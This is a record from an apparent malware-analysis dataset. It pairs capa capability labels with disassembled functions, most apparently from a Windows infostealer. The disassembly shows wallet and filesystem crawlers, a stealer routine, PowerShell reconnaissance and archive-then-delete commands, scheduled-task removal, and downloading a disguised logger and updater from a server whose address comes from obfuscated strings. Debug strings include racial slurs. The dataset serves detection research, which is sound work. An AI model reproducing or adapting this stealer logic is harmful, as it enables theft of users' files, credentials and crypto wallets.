joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414e40
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc2c
mov eax, dword [0x419004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0xc28], eax
cmp esi, 0x182
jne 0x414e7a
lea ecx, [ebp - 0xc20]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
jmp 0x414e98
cmp esi, 0x19f
jne 0x414e98
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor edi, edi
test esi, esi
jle 0x414f41
push ebx
mov ebx, dword [ebp - 0xc28]
lea esp, [esp]
lea esi, [ebp - 0xc24]
mov dword [ebp - 0xc24], 0
call fcn.00414e30
mov dl, byte [ebp - 0xc24]
mov eax, dword [ebp - 0xc28]
mov esi, dword [ebp + 0xc]
xor byte [eax + edi], dl
cmp esi, 0xf
jne 0x414f37
lea eax, [ebp - 0xc2c]
push eax
lea ecx, [ebp - 0xc04]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push str.wepetejef
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push str.wujokinozalucawisuhej
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
lea edx, [ebp - 0x804]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
push str.naxoj
push 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, esi
jl 0x414eb0
pop ebx
pop edi
cmp esi, 0x2d
pop esi
jne 0x414f5c
mov dword [0x2766020], 0xa62e7790
mov dword [0x2766024], 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret

Function at 0x414f70
Capabilities:
Get disk information

Disassembly:
mov eax, dword [0x2766014]
push esi
push edi
mov edi, dword [0x2765d34]
mov esi, eax
cmp eax, 0x5dd
jne 0x414f92
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov eax, dword [0x419db8]
call fcn.00414e00
cmp dword [0x2766014], 0x2f
jne 0x414fad
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push esi
push edi
call fcn.00414e40
add esp, 8
cmp dword [0x2766014], 0x568
pop edi
pop esi
jne 0x414fd7
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x442e9c], 1
mov dword [0x442e98], 1
mov dword [0x442e94], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x442014], eax
mov eax, dword [0x442ea8]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x442ebc]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x442ea4]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x421694], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401619
Capabilities:
Get session user name

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x240
mov ebx, ecx
call dbg.__main
mov dword [esp + 4], 0x41f10c
mov dword [esp], 0x442540
mov eax, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call eax
sub esp, 8
mov dword [esp + 0x10], 0x41f074
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_s_s
mov dword [esp], 0x442260
call sym._sprintf
mov dword [esp + 0x10], str.3_33s_q7.tmp
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_s_s
mov dword [esp], 0x442060
call sym._sprintf
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_sAppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2txcurl.exe
mov dword [esp], 0x442460
call sym._sprintf
mov eax, dword [ebx + 4]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 8
ja 0x40191a
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, 0x4222a0
mov eax, dword [eax]
jmp eax
mov dword [esp], 0x42228f
call sym._printf
jmp 0x401932
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x401941
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [esp + 4], 0x4222c4
mov dword [esp], 0x442260
call sym._check_exist
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4019b8
mov dword [esp + 8], 0x442260
mov dword [esp + 4], 0x4222c7
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4019aa
mov dword [esp], str.Created_folder
call sym._puts
jmp 0x4019e3
mov dword [esp], str.Creating_folder_failed
call sym._puts
jmp 0x4019e3
mov dword [esp], 0x442260
call sym._get_files_in_folder
mov eax, dword [0x442528]
test eax, eax
je 0x4019e3
mov dword [esp], str.Folder_not_empty._Pass_on_crawl
call sym._puts
mov eax, 1
jmp 0x401b2a
mov dword [esp + 4], 0x4222c4
mov dword [esp], 0x442060
call sym._check_exist
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401a51
mov dword [esp + 8], 0x442060
mov dword [esp + 4], 0x4222c7
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x401a43
mov dword [esp], str.Created_folder
call sym._puts
jmp 0x401a91
mov dword [esp], str.Creating_folder_failed
call sym._puts
jmp 0x401a91
mov dword [esp], 0x442060
call sym._get_files_in_folder
mov eax, dword [0x442528]
mov dword [esp + 4], eax
mov dword [esp], str.Files_in_folder:__d_n
call sym._printf
mov eax, dword [0x442528]
test eax, eax
je 0x401a91
mov dword [esp], str.Folder_not_empty._Pass_on_crawl
call sym._puts
mov eax, 1
jmp 0x401b2a
call sym._get_system_info
call sym._run_wallet_crawler
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401ab0
mov dword [esp], str.__Crawl_wallets_failed__nigger
call sym._puts
call sym._run_fs_crawler
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x401aca
mov dword [esp], str.__Crawl_filesystem_failed__nigger
call sym._puts
mov dword [esp + 4], 0x442060
mov dword [esp], 0x442540
call sym._stealer_main
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x401af3
mov dword [esp], str.__Running_stealer_failed
call sym._puts
mov dword [esp], str.end_stealer
call sym._puts
call sym._move_keylog_file
mov dword [ebp - 0x28], eax
mov dword [esp], str.fuck_a_bongo
call sym._puts
cmp dword [ebp - 0x28], 0
je 0x401b25
mov dword [esp], str.__Move_keylog_failed
call sym._puts
mov eax, 0
leave
ret
Function at 0x401b2c
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a8
call sym._get_uid
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x442260
mov dword [esp + 8], 0x442060
mov dword [esp + 4], str.powershell_Compress_Archive__Path__s__DestinationPath__s_s.zip_____null
lea eax, [ebp - 0x340]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x340]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401b8d
mov dword [esp], str.Zip_process_2_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x442260
mov dword [esp + 4], str._s_s.zip
lea eax, [ebp - 0x660]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x660]
mov dword [esp], eax
call sym._findSize
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, 0x431bde83
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0x12
sar ecx, 0x1f
mov edx, ecx
sub eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov edx, eax
neg edx
cmovns eax, edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x660]
mov dword [esp], eax
call sym._split_file
mov dword [esp + 8], 0x442060
mov dword [esp + 4], str.powershell_Remove_Item__LiteralPath__s__Force__Recurse
lea eax, [ebp - 0x980]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x980]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401c3b
mov dword [esp], str.Removal_failed
call sym._puts
lea eax, [ebp - 0x660]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x401c5e
mov dword [esp], str.Remove_zip_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, 0
leave
ret
Function at 0x40224b
Capabilities:
Capture network configuration via ipconfig
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a8
call sym._get_uid
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x442060
mov dword [esp + 4], str._s_s.txt
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x20c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_systeminfo_____s
lea eax, [ebp - 0x338]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x20c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_ipconfig_____s
lea eax, [ebp - 0x464]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x20c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_net_user_____s
lea eax, [ebp - 0x590]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0x338]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40230f
mov dword [esp], str.Get_systeminfo_failed
call sym._puts
lea eax, [ebp - 0x464]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402332
mov dword [esp], str.Get_ipconfig_failed
call sym._puts
lea eax, [ebp - 0x590]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x402355
mov dword [esp], str.Net_user_failed
call sym._puts
mov eax, 0
leave
ret

Function at 0x40235c
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_swin_f64_zzgc.bat
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x208]
mov dword [esp + 4], eax
mov dword [esp], 1
call sym._create_specific_file
mov dword [ebp - 0xc], eax
mov dword [esp], str.Running_wallet_crawler
call sym._puts
cmp dword [ebp - 0xc], 0
jne 0x4023c2
mov dword [esp], str.Create_crawler_batch_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s____null
lea eax, [ebp - 0x3fc]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x3fc]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x402409
mov dword [esp], str.File_execution_failed
call sym._puts
mov eax, 1
jmp 0x402457
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40243b
mov dword [esp], str.Removal_of_file_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, 1
jmp 0x402457
mov dword [esp], str.Removed_wallet_crawler_batch
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, 0
leave
ret
Function at 0x402459
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_swin_f64_zzgc.bat
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x208]
mov dword [esp + 4], eax
mov dword [esp], 2
call sym._create_specific_file
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4024c8
mov dword [esp], str.Create_crawler_batch_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, 1
jmp 0x402568
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s____null
lea eax, [ebp - 0x3fc]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x3fc]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40251a
mov dword [esp], str.File_execution_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, 1
jmp 0x402568
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40254c
mov dword [esp], str.Removal_of_file_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, 1
jmp 0x402568
mov dword [esp], str.Removed_fucker_file_you_fuck
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, 0
leave
ret
Function at 0x40256a
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a8
mov dword [ebp - 0x34], str.SchTasks__Delete__TN__DataRestoreSettings_
mov dword [ebp - 0x30], str.SchTasks__Delete__TN__TouchpadSyncSettingsRestore_
mov dword [ebp - 0x2c], str.SchTasks__Delete__TN__LocalUserDataSyncAvailable_
mov dword [ebp - 0x28], str.SchTasks__Delete__TN__MouseDataRestoreAvailable_
mov dword [ebp - 0x24], str.SchTasks__Delete__TN__PenSettingsSync_
mov dword [ebp - 0x20], str.SchTasks__Delete__TN__UpdateWinOutSettings_
mov dword [esp + 8], 0x442260
mov dword [esp + 4], str.powershell_Remove_Item__LiteralPath__s__Force__Recurse
lea eax, [ebp - 0xfc]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 8], 0x442060
mov dword [esp + 4], str.powershell_Remove_Item__LiteralPath__s__Force__Recurse
lea eax, [ebp - 0x1c4]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.powershell_Remove_Item__LiteralPath_C:Users_s_s__Force__Recurse
lea eax, [ebp - 0x28c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0xfc]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x402624
mov dword [esp], str.Removal_failed_dstdir
call sym._puts
jmp 0x402630
mov dword [esp], str.Removal_dstdir
call sym._puts
lea eax, [ebp - 0x1c4]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402655
mov dword [esp], str.Removal_failed_zipdir
call sym._puts
jmp 0x402661
mov dword [esp], str.Removal_zipdir
call sym._puts
lea eax, [ebp - 0x28c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x402686
mov dword [esp], str.Removal_failed_file_dst
call sym._puts
jmp 0x402692
mov dword [esp], str.Removal_file_dst
call sym._puts
mov dword [ebp - 0xc], 0
jmp 0x4026c3
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x34]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4026bf
mov dword [esp], str.schtasks_removal_failed
call sym._puts
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 5
jbe 0x40269b
mov eax, 0
leave
ret
Function at 0x402704
Capabilities:
Contain obfuscated stackstrings
Execute command
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x388
mov dword [esp], str.powershell_Get_Process_WdiNisMon
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402933
mov dword [esp + 0x10], str.WdiNisMon.exe
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_s_s
lea eax, [ebp - 0x35a]
mov dword [esp], eax
call sym._sprintf
mov dword [esp], str.Logger_not_running
call sym._puts
lea eax, [ebp - 0x35a]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_Test_Path__s__PathType_Leaf
lea eax, [ebp - 0x292]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x292]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4028ec
mov dword [esp + 4], 0x42248d
mov dword [esp], str.microsoft.com
call sym._get_http_headers
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x3a], 0x6f6d6962
mov dword [ebp - 0x36], 0x6c68746e
mov word [ebp - 0x32], 0x79
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3a]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], str.http:___s_a44185s.pdf
lea eax, [ebp - 0x1ca]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_s_a44185s.pdf
lea eax, [ebp - 0x102]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
call sym._check_curl
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x40284e
mov dword [esp], str.__Curl_installed
call sym._puts
lea eax, [ebp - 0x102]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1ca]
mov dword [esp], eax
call sym._download_file
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x402885
mov dword [esp], str.__Download_logger_failed
call sym._puts
mov eax, 1
jmp 0x402944
mov dword [esp + 4], 0x4222c4
mov dword [esp], 0x442260
call sym._check_exist
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4028b8
mov dword [esp], str.__Downloaded_logger_not_found
call sym._puts
mov eax, 1
jmp 0x402944
lea eax, [ebp - 0x35a]
mov dword [esp + 4], eax
lea eax, [ebp - 0x102]
mov dword [esp], eax
call sym._rename
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x4028ec
mov dword [esp], str.__Rename_logger_failed
call sym._puts
mov eax, 1
jmp 0x402944
lea eax, [ebp - 0x35a]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x30]
mov dword [esp + 4], eax
lea eax, [ebp - 0x35a]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__execve]
call eax
cmp eax, 0xffffffff
jne 0x40293f
mov dword [esp], str.execve
call sym._perror
mov eax, 1
jmp 0x402944
mov dword [esp], str.Logger_running
call sym._puts
mov eax, 0
leave
ret
Function at 0x402a15
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a8
mov dword [esp + 4], 0x42248d
mov dword [esp], str.microsoft.com
call sym._get_http_headers
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x22], 0x6f6d6962
mov dword [ebp - 0x1e], 0x6c68746e
mov word [ebp - 0x1a], 0x79
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x22]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x422aa6
lea eax, [ebp - 0xea]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], str._vrs.txt
lea eax, [ebp - 0xea]
mov dword [esp], eax
call sym._get_text_file_from_server
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x41f06c
je 0x402b9a
mov dword [esp + 0x10], str.win32updater.exe
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x442540
mov dword [esp + 4], str.C:Users_s_s_s
lea eax, [ebp - 0x284]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0xc], str.win32updater.exe
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.https:___s__s
lea eax, [ebp - 0x1bc]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0x284]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1bc]
mov dword [esp], eax
call sym._download_file
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x402b3e
mov dword [esp], str.__Download_failed
call sym._puts
mov eax, 1
jmp 0x402b9f
lea eax, [ebp - 0x284]
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0xf4]
mov dword [esp + 4], eax
lea eax, [ebp - 0x284]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__execve]
call eax
cmp eax, 0xffffffff
jne 0x402b9a
mov dword [esp], str.__Running_updater_failed
call sym._puts
mov dword [esp], str.execve
call sym._perror
mov eax, 1
jmp 0x402b9f
mov eax, 0
leave
ret
Function at 0x402c0f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
mov dword [ebp - 0x2a], 0x65776f70
mov dword [ebp - 0x26], 0x65687372
mov dword [ebp - 0x22], 0x77206c6c
mov dword [ebp - 0x1e], 0x6d616f68
mov word [ebp - 0x1a], 0x69
mov dword [esp + 4], 0x422ae2
lea eax, [ebp - 0x2a]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__popen]
call eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x64
lea eax, [ebp - 0x8e]
mov dword [esp], eax
call sym._fgets
lea eax, [ebp - 0x8e]
mov dword [esp], eax
call sym._SHA256
mov dword [ebp - 0x14], eax
mov dword [esp], 0xd
call sym._malloc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], 0
jmp 0x402cb1
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
add eax, edx
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0xc]
add edx, ecx
movzx eax, byte [eax]
mov byte [edx], al
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xc
jbe 0x402c98
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x18]
add eax, 0xd
mov byte [eax], 0
mov eax, dword [ebp - 0x18]
leave
ret